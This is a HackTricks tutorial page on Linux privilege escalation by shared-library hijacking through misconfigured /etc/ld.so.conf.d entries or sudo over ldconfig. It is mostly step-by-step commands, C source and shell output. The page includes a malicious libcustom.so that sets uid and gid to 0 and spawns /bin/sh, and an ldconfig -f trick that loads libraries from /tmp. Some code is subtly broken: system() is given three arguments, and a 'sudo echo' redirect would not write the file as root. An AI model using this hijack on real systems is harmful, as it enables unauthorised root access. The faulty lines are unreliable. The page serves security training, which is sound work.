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https://github.com/carlospolop/hacktricks
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154 lines
5 KiB
Markdown
154 lines
5 KiB
Markdown
# ld.so exploit example
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## Prepare the environment
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In the following section you can find the code of the files we are going to use to prepare the environment
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{% tabs %}
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{% tab title="sharedvuln.c" %}
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```c
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#include <stdio.h>
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#include "libcustom.h"
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int main(){
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printf("Welcome to my amazing application!\n");
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vuln_func();
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return 0;
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}
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```
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{% endtab %}
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{% tab title="libcustom.h" %}
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```c
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#include <stdio.h>
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void vuln_func();
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```
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{% endtab %}
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{% tab title="libcustom.c" %}
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```c
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#include <stdio.h>
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void say_hi()
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{
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puts("Hi");
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}
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```
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{% endtab %}
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{% endtabs %}
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1. **Create** those files in your machine in the same folder
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2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
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3. **Copy **_**** libcustom.so_ to _/usr/lib_: `sudo cp libcustom.so /usr/lib` (root privs)
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4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom`
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### Check the environment
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Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary.
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```
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$ ldd sharedvuln
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linux-vdso.so.1 => (0x00007ffc9a1f7000)
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libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
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libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
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/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
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$ ./sharedvuln
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Welcome to my amazing application!
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Hi
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```
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## Exploit
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In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_:
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```bash
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sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
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```
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The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
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**Downloadand compile** the following code inside that path:
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```c
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//gcc -shared -o libcustom.so -fPIC libcustom.c
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#include <stdio.h>
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#include <unistd.h>
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#include <sys/types.h>
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void say_hi(){
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setuid(0);
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setgid(0);
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printf("I'm the bad library\n");
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system("/bin/sh",NULL,NULL);
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}
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```
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Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_).
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Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from:
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```c
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$ldd sharedvuln
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linux-vdso.so.1 => (0x00007ffeee766000)
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libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
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libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
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/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
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```
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As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed:
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```c
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$ ./sharedvuln
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Welcome to my amazing application!
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I'm the bad library
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$ whoami
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ubuntu
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```
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{% hint style="info" %}
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Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges.
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{% endhint %}
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###  Other misconfigurations - Same vuln
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In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\
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But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it.
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## Exploit 2
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**Suppose you have sudo privileges over `ldconfig`**.\
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You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\
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So, lets create the files and folders needed to load "/tmp":
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```bash
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cd /tmp
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echo "include /tmp/conf/*" > fake.ld.so.conf
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echo "/tmp" > conf/evil.conf
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```
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Now, as indicated in the **previous exploit**, **create the malicious library inside **_**/tmp**_.\
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And finally, lets load the path and check where is the binary loading the library from:
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```bash
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ldconfig -f fake.ld.so.conf
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ldd sharedvuln
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linux-vdso.so.1 => (0x00007fffa2dde000)
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libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
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libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
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/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
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```
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**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.**
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{% hint style="info" %}
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I **didn't find** a reliable way to exploit this vuln if `ldconfig` is configured with the **suid bit**. The following error appear: `/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied`
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{% endhint %}
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## References
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* [https://www.boiteaklou.fr/Abusing-Shared-Libraries.html](https://www.boiteaklou.fr/Abusing-Shared-Libraries.html)
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* [https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2](https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2)
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* Dab machine in HTB
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